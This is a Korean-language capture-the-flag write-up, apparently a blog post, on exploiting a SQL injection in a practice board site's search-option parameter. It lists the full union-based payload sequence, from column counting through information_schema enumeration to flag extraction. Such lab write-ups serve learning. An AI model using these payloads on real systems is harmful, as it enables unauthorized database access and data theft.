-
SQL Injection Advanced - SQL Injection Point 2wargame/segfault 2024. 6. 17. 10:49
목표
주어진 url에서 sqli point를 찾은 후 sqli을 통해 flag를 찾아라!
웹사이트 분석
2024.06.17 - [wargame/segfault] - SQL Injection Advanced - SQL Injection Point 1
위의 글에서 같은 웹사이트이므로 회원가입, 로그인, 마이페이지, index.php 등 기본적인 부분은 설명을 생략한다. 그리고 이전과 동일하게 `id: shadow`로 회원가입해서 진행한다. 또한 로그인 시에 1번 문제와 달리 Cookie에 `user=shadow`를 담아 페이지에 이동하지는 않고 마이페이지에서의 취약점 또한 존재하지 않는다.
메인 페이지는 다음과 같다. 이제 `게시판`버튼을 눌러 이동해보겠다.
`sqli_7/notice_list.php`에 보내는 Get Request에는 Cookie에 PHPSESSID를 담아 보내는 것 외에 특별한 점은 없다. Response에서 확인 가능한 페이지 구성은 다음과 같다.
글 검색하는 form에서는 option이 3개 존재한다. `username, title, content`
그리고 `board_result`에 쓴 내용이 담겨져 검색된다. 아래에 날짜 검색도 존재하지만 현재 동작하지는 않는다.
검색한 글이 존재하면 `<tbody></tbody>`에 담겨져있다. 지금은 아무 글도 작성하지 않아 비어있다. 그리고 `글쓰기`버튼을 누르면 `notice_write.php`로 이동하여 글을 작성할 수 있다. 가장 아래에 보이는 form의 `input`들은 페이지네이션인데, 지금 작성된 글들(다른 아이디들과 다 통합)이 다 포함되어서 페이지 표시가 되어있다. 클릭하면 지금 페이지에 post method로 `page=1`을 전송하여 그 페이지를 보여준다.
`글쓰기`버튼을 눌러 글을 작성해보겠다.
Response에 파일업로드시 확장자를 검사하는 script가 존재하지만 아래에 파일 업로드 input이 주석처리되어 있으므로, 현재 미사용되고 있다.
그렇기에 지금 사용가능한 input과 함께 form을 알아보겠다.
`create`버튼을 누르면 `create_title과 create_body`에 제목과 내용이 담겨져, `onsubmit`의 함수가 실행되고 항상 `true`이므로 `notice_write_process.php`에 post 요청을 보내게 된다.
그럼 글을 작성해보겠다.
`create` 버튼을 눌러 전송한다. 아래는 `/sqli_7/notice_write_process.php`로 보내는 요청들이다.
`alert`창이 뜬 후에 위치가 글 목록이 보이는 `notice_list.php`로 이동한다.
아까 비어있던 `<tbody></tbody>`에 내가 쓴 글의 `User ID, Title` 등이 담겨져 있다. 이때 `Title`은 링크로 되어 있어 그 글의 상세보기로 이동한다. 클릭해서 이동해보겠다.
get method로 `id=174&view=1`을 담아 요청을 보낸다.
제목과 글 내용을 보여준다. 그리고 지금 여기서는 사용되지 않는 '글 좋아요 누르기 기능'과 '좋아요 카운트'의 형태가 있다.
그리고 그 아래에 `공지사항, 수정, 삭제`버튼들이 존재하고 그것들을 누르면 특정 기능을 하는 페이지로 이동한다. `수정, 삭제` 버튼들은 `id`를 get 방식으로 전달한다.
글 검색 기능을 살펴보도록 하겠다.
`작성자`로 `sha`를 검색해보겠다. 검색 기능에는 `like 연산자`를 사용할 가능성이 높기 때문에 내 아이디의 일부만 검색하여 `like 연산자`가 sql문에 사용되었는지를 확인한다.
`option_val=username&board_result=sha`이 담겨져 보내졌는데도 정상적으로 글 목록이 출력이 되었다.
따라서 추정 sql문은 다음과 같다.
$sql = "SELECT * from board WHERE username like '%___%'"
`WHERE문의 column`은 검색할때의 옵션마다 바뀔 것이다.
이제 SQL Injection이 가능한지 테스트를 해보겠다.
SQL Injection Point 찾기
위의 sql문이 맞다고 가정하고 검색어에 `sha%' and '1%'='1`을 넣어 sqli가 가능한지 확인해보겠다. 넣으면 아래와 같다.
$sql = "SELECT * from board WHERE username like '%sha%' and '1%'='1%'"
`sha%' and '1%'='1`이 유효하다면 `sha`를 넣어 작성자 검색을 했을 때와 동일하게 나와야 한다. 다음은 Repeater로 진행한다.
그러나 sql 질의에 실패하였는지 글 목록이 정상적으로 출력되지 않았다. 따라서 앞서 가정한 sql 질의문이 틀렸거나 sqli가 불가능하다. 그렇기에 sql 질의문에 쓰이는 다른 파라미터를 조작해보겠다. `WHERE문의 column`인 `username`을 변화시켜본다.
`username` 대신 `1=1 and username`을 넣어본다. `username`뒤에 `like연산자`가 무조건 있어야 하기 때문이다. 그러면 sql문은 아래와 같이 완성된다.
$sql = "SELECT * from board WHERE 1=1 and username like '%sha%'"
정상적으로 글 목록이 출력되었다.
거짓을 의도했을 때는 글이 존재하지 않는 것을 알 수 있다. 따라서 SQL Injection이 가능하다.
여기서는 참과 거짓을 판별할 수 있기때문에 물론 Blind SQL Injection도 가능하지만, sql 질의 결과가 목록에 출력되므로 Union SQL Injection을 사용하는 것이 더 효율적일 것이다. 다만 검색옵션의 값을 변경해야하기때문에 브라우저로 요청을 보낼 수는 없고 Burp Suite의 Repeater를 이용하여 값을 바꿔 보낼 것이다.
Union SQL Injection
1. Column 개수 찾기
`option_val`을 `username like '%shadow%' order by 10 #` 을 삽입하여 전송한다. 그러면 sql문은 아래와 같이 된다.
$sql = "SELECT * from board WHERE username like '%shadow%' order by 10 # like '%sha%'"
존재한다.
`option_val`을 `username like '%shadow%' order by 11 #` 을 삽입하여 전송한다.
존재하지 않는다. 따라서 해당 SELECT문에 쓰인 Column 개수는 10개이다.
Column 개수 : 10개
2. 출력되는 Column 위치 찾기
`username like '%shadow%' union select 1,2,3,4,5,6,7,8,9,10 #` 을 담아 전송한다.
`column의 1,2,3,4`가 출력되고 있는 것을 알 수 있다. 따라서 나는 `column 1`을 사용하도록 하겠다.
3. Database 이름 찾기
`username like '%shadow%' union select database(),2,3,4,5,6,7,8,9,10 #` 을 담아 전송한다.
Database 이름 : `sqli_7`
4. Table 이름 찾기
`username like '%shadow%' union select table_name,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema='sqli_7' #` 을 담아 전송한다.
Table names: board, flagTable, member
우리는 `flagTable`을 사용한다.
5. Column 이름 찾기
`username like '%shadow%' union select column_name,2,3,4,5,6,7,8,9,10 from information_schema.columns where table_name='flagTable' #` 을 담아 전송한다.
flagTable의 columns : idx, flag
이제 flag가 담겨있는 `table`과 `column`도 알았으니 flag를 획득할 수 있다.
6. Data 출력
`username like '%shadow%' union select flag,2,3,4,5,6,7,8,9,10 from flagTable #` 을 담아 전송한다.
세번째에서 flag를 획득했다!!!
'wargame > segfault' 카테고리의 다른 글
SQL Injection Advanced - SQL Injection Point 1 (0) 2024.06.17 SQL Injection - 6 (0) 2024.06.17 SQL Injection - 5 (0) 2024.06.17 SQL Injection - 4 (0) 2024.06.17 SQL Injection - 3 (0) 2024.06.17